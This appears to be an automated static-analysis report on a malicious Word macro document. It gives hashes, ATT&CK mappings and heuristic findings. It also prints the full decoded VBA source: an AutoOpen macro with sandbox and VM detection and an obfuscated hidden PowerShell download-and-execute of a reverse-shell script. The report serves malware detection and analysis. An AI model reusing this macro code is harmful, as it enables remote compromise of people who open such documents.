Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0082669a065fef00…

MALICIOUS

Office (OOXML)

18.1 KB Created: 2021-05-27 11:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-04
MD5: 57a2bbb41925f76ea410e7f2ef0234d3 SHA-1: ea8102e2b6cb09479d6a90091647a9fff782593f SHA-256: 0082669a065fef008552a64666b6dfe97389909d0a5440f04b10676413a31a8a
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1140 Deobfuscate/Decode Files or Information T1071.001 Web Protocols

The sample contains VBA macros, including an AutoOpen macro, that utilize WScript.Shell and CreateObject to execute commands. The script attempts to detect sandboxed or virtualized environments and, if none are found, proceeds to execute a payload. The obfuscated Shell command with a URL indicates the script's intent to download and execute a second-stage payload, likely from a remote source.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.2.120/reverse_shell_120_4444.ps1 Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3283 bytes
SHA-256: db36a261b523a3d9c4a102f6dea88ada31783b8451ae7618a268258933596f92
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public Declare PtrSafe Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
 
Sub AutoOpen()

If IsSandBoxiePresent(1) = True Then MsgBox ("OH no Sandboxie is here ...")
If IsvirtualboxPresent(1) = True Then MsgBox ("OH no Virtualbox is here ...")
If IsvmwarePresent(1) = True Then MsgBox ("OH no VMWare is here ...")
If IsSandBoxiePresent(1) = True Then Call SomeSub
If IsvirtualboxPresent(1) = True Then Call SomeSub
If IsvmwarePresent(1) = True Then Call SomeSub
If IsSandBoxiePresent(1) = False Then Call Shello
If IsvmwarePresent(1) = False Then Call Shello
If IsvirtualboxPresent(1) = False Then Call Shello


End Sub

Sub msg()
 MsgBox ("Your are in VM ...")
End Sub
 
 Function IsvirtualboxPresent(ByVal OptionToCheck As Integer) As Boolean
   Select Case OptionToCheck
       Case 1  'Recomendado
           Dim hSbie As Long
 
           hSbie = GetModuleHandle("vmcheck.dll")
           If hSbie <> 0 Then
               IsvirtualboxPresent = True
           Else
               IsvirtualboxPresent = False
           End If
       Case 2  'No recomendado
           If InStr(MainFrm.Caption, "[#]") <> 0 Then
               IsvirtualboxPresent = True
           Else
               IsvirtualboxPresent = False
           End If
   End Select
End Function
 
 
 
 
 
 Function IsvmwarePresent(ByVal OptionToCheck As Integer) As Boolean
   Select Case OptionToCheck
       Case 1  'Recomendado
           Dim hSbie As Long
 
           hSbie = GetModuleHandle("dbghelp.dll")
           If hSbie <> 0 Then
               IsvmwarePresent = True
           Else
               IsvmwarePresent = False
           End If
       Case 2  'No recomendado
           If InStr(MainFrm.Caption, "[#]") <> 0 Then
               IsvmwarePresent = True
           Else
               IsvmwarePresent = False
           End If
   End Select
End Function
 
 
 
 
Function IsSandBoxiePresent(ByVal OptionToCheck As Integer) As Boolean
   Select Case OptionToCheck
       Case 1  'Recomendado
           Dim hSbie As Long
 
           hSbie = GetModuleHandle("SbieDll.dll")
           If hSbie <> 0 Then
               IsSandBoxiePresent = True
           Else
               IsSandBoxiePresent = False
           End If
       Case 2  'No recomendado
           If InStr(MainFrm.Caption, "[#]") <> 0 Then
               IsSandBoxiePresent = True
           Else
               IsSandBoxiePresent = False
           End If
   End Select
End Function

Function Shello()

  Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"

End Function
Sub SomeSub()
    End
    'Code will not execute
    Debug.Print "SomeSub: Hello after Exit Sub!"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: 25e5d9cd9cc5ae6f2ccbbe58500338480dd113bc4a0ab0b14c36a8aebf23c67c

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